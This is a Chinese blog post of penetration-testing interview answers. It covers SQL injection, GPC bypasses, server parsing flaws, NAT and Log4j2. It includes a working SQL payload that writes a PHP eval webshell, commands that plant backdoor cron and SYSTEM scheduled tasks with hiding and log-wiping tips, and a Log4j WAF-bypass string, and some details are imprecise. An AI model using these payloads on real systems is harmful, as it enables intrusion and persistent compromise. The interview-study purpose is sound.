当前位置: 首页 > news >正文

2025年渗透测试面试题总结-100(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

1. SQL的存储引擎

2. SQL注入写Shell的条件与用法

必要条件

利用方法(MySQL示例)

3. GPC是什么?开启后如何绕过

GPC机制

绕过方法

4. MySQL一个@和两个@的区别

5. 解析漏洞汇总(IIS及其他容器)

IIS版本漏洞

其他容器漏洞

6. Wireshark抓包分析(含NAT协议)

数据包变化过程

7. 计划任务与黑客隐藏技巧

Linux计划任务

Windows计划任务

8. 挖过最难的漏洞分析(以Log4j2反序列化为例)

漏洞原理与挖掘难点

1、SQL的存储引擎
2、SQL注入写shell的条件,用法
3、GPC是什么?开启了怎么绕过
4、Mysql一个@和两个@什么区别
5、IIS解析漏洞,不同版本有什么漏洞,还有什么容器解析漏洞
6、wireshark抓包,数据报经过三层交换机、路由的变化,NAT协议描述,地址进入内网怎么变化
7、linux计划任务,黑客隐藏自己的计划任务会怎么做。windows计划任务怎么设定
8、挖过最难的漏洞是什么

1. SQL的存储引擎

核心差异对比(MySQL为例)

引擎事务支持锁粒度适用场景安全相关特性
InnoDB✅ (ACID)行级锁高并发写入、金融系统支持外键约束、崩溃自动恢复
MyISAM表级锁读密集型应用(如报表)无事务日志,易数据损坏
Memory表级锁临时数据缓存数据存内存,重启丢失
Archive行级锁(插入)日志归档高压缩比,防篡改设计

补充

  • InnoDB的崩溃恢复机制可避免数据不一致(如渗透测试中意外断电);
  • MyISAM表易被文件覆盖攻击(因表文件直接存储在.MYD/.MYI中)。

2. SQL注入写Shell的条件与用法

必要条件
  • 数据库权限FILE权限(MySQL中需GRANT FILE ON *.* TO user
  • 路径可写:Web目录绝对路径(通过@@datadir或报错信息获取)
  • 字符过滤绕过:无过滤引号/分号(或可用0x十六进制编码绕过)
利用方法(MySQL示例)
sql
-- 写入PHP Webshell UNION SELECT 1, "<?php @eval($_POST['cmd']); ?>", 3 INTO OUTFILE '/var/www/html/shell.php' -- 十六进制编码绕过过滤 UNION SELECT 1, 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B203F3E, 3 INTO OUTFILE '/path/shell.php' 

  • Windows路径需转义(如C:\\xampp\\htdocs\\shell.php );
  • 防御:限制secure_file_priv参数(MySQL 5.7+默认禁用文件写入)。

3. GPC是什么?开启后如何绕过

GPC机制
  • 功能:PHP配置项(magic_quotes_gpc),自动转义用户输入中的'"\NULL(如'\'
  • 影响:破坏SQL注入Payload(如' OR 1=1\' OR 1=1
绕过方法
  1. 数字型注入:直接使用数字参数(如id=1 AND 1=1)无需引号;
  2. 宽字节注入:GBK编码下%df'%df\' → 触发转码形成有效引号(運');
  3. 二次注入:存入数据库时转义,取出时还原原始字符再执行;
  4. 替代字符:使用LIKEREGEXP等免引号语法。
    现状:PHP 5.4+已移除GPC,但旧系统仍需关注。

4. MySQL一个@和两个@的区别

类型示例作用域生命周期
用户变量 @varSET @count = 0;当前会话会话结束前有效
系统变量 @@varSELECT @@version;全局/会话级别重启后需重设

用法差异

  • @user_var 用于临时存储查询结果(如SELECT @name:=user FROM users LIMIT 1);
  • @@system_var 读取配置(如@@version查版本,@@secure_file_priv查写文件权限)。

5. 解析漏洞汇总(IIS及其他容器)

IIS版本漏洞
版本漏洞类型利用方式
IIS 6.0目录解析漏洞/xx.asp/xx.jpg 执行ASP代码
分号解析漏洞xx.asp;.jpg 忽略分号后内容
IIS 7.0+Fast-CGI解析漏洞xx.jpg/.php 触发PHP解析
其他容器漏洞
  • Apache
    • 多后缀解析(xx.php.jpg 若配置AddHandler php5-script .jpg);
    • .htaccess文件上传覆盖(允许自定义解析规则)。
  • Nginx
    • 路径修复错误(/xx.jpg%00.php 截断解析);
    • CVE-2013-4547(xx.jpg \0.php 空字节解析)。
      防御:严格校验文件头+禁用不必要的解析映射。

6. Wireshark抓包分析(含NAT协议)

数据包变化过程
mermaidgraph LR A[PC 192.168.1.10] -->|发送 HTTP 请求| B[三层交换机] B -->|路由转发 · 修改MAC| C[路由器] C -->|NAT转换 · 192.168.1.10 → 202.100.1.1| D[公网服务器]

关键变化

  1. 三层交换机:重写源/目标MAC地址,IP不变;
  2. 路由器(NAT)
    • 源IP替换为公网IP(如192.168.1.10:5000 → 202.100.1.1:6000);
    • 维护NAT表记录映射关系;
  3. 返回流量:根据NAT表反向转换目标IP+端口。

Wireshark观测点

  • 内网抓包:仅见私有IP(如192.168.x.x);
  • 网关抓包:可见公网IP与转换后的端口。

7. 计划任务与黑客隐藏技巧

Linux计划任务
  • 正常设置
    bashcrontab -e # 用户级任务 echo "* * * * * /bin/sh /tmp/backdoor.sh" > /var/spool/cron/root # 系统级 
    
  • 黑客隐藏手段
    1. 路径伪装:任务脚本放在/dev/shm/lib/modules等非常规目录;
    2. 时间混淆:随机执行时间(如*/37 * * * *);
    3. 进程注入:通过ld_preload劫持cron调用的程序;
    4. 日志擦除:删除/var/log/cron相关记录。
Windows计划任务
  • 命令示例
    powershellschtasks /create /tn "UpdateService" /tr "C:\backdoor.exe" /sc hourly /ru System 
    
  • 隐蔽技巧
    • 名称伪装(如WindowsUpdateTask);
    • 利用系统任务路径(如C:\Windows\System32\Tasks)。

8. 挖过最难的漏洞分析(以Log4j2反序列化为例)

漏洞原理与挖掘难点
  • 漏洞链
    mermaidgraph TB A[JNDI注入点] --> B[触发lookup方法] B --> C[加载远程LDAP服务] C --> D[下载恶意类] D --> E[执行任意代码]
    
  • 难点突破
    1. 触发点隐蔽:需发现可注入的日志字段(如HTTP头X-Api-Version);
    2. 绕过防御
      • 高版本JDK限制JNDI远程加载(需结合Groovy等二次利用链);
      • WAF检测${jndi:关键字(使用${${env:XXX:-j}ndi绕过);
    3. 环境依赖:需目标使用Log4j2且JDK版本<11.0.1。
      修复方案:升级Log4j至2.17.0+,禁用JNDI查找。
http://www.dtcms.com/a/438712.html

相关文章:

  • 做网站赚钱容易吗推广赚钱平台有哪些
  • AutoOps:简单的 Elasticsearch 集群监控与管理现已支持本地部署
  • Async++ 源码分析3---cancel.h
  • Async++ 源码分析4---continuation_vector.h
  • 一个做搞笑类视频的网站取名网站建设平台协议书
  • 机器学习、数据科学、深度学习、神经网络的区别与联系
  • 上海嘉定网站设计商城首页网站
  • 显示系统(二):显示适配器(显卡)背后的历史
  • 嘉兴网站制作案例无代码制作网页
  • 网站页面seo做网站的语
  • 建设银行注册网站的用户名怎么写建设一个货架网站
  • 排序(Sort)
  • [Web网页] Web 基础
  • 做商铺的网站有那些怎么检查网站的死链
  • 网站做qq发送链接广东省建设监理协会网站 - 首页
  • 操作系统应用开发(十八)RustDesk-API服务器数据库——东方仙盟金丹期
  • 济南小型网站建设厦门人才网唯一官方网站
  • 1518. 换水问题
  • 中国空间站完成了多少404错误页面放在网站的哪里
  • 新媒体运营需要哪些技能seo知识分享
  • Java数据类型与字符串操作全解析
  • linux文件系统学习
  • Effective Python 第37条:用组合类实现多层结构,避免嵌套内置类型
  • C语言计算矩阵的逆
  • 如何传递上层变数到编译过的模组当中
  • 广东十大网站建设外贸公司招聘条件
  • C语言类型转换与错误处理
  • 线上宣传方式昆明网络推广优化
  • 日语学习-日语知识点小记-进阶-JLPT-N1阶段应用练习(3):语法 +考え方16+2022年7月N1
  • 51单片机AD/DA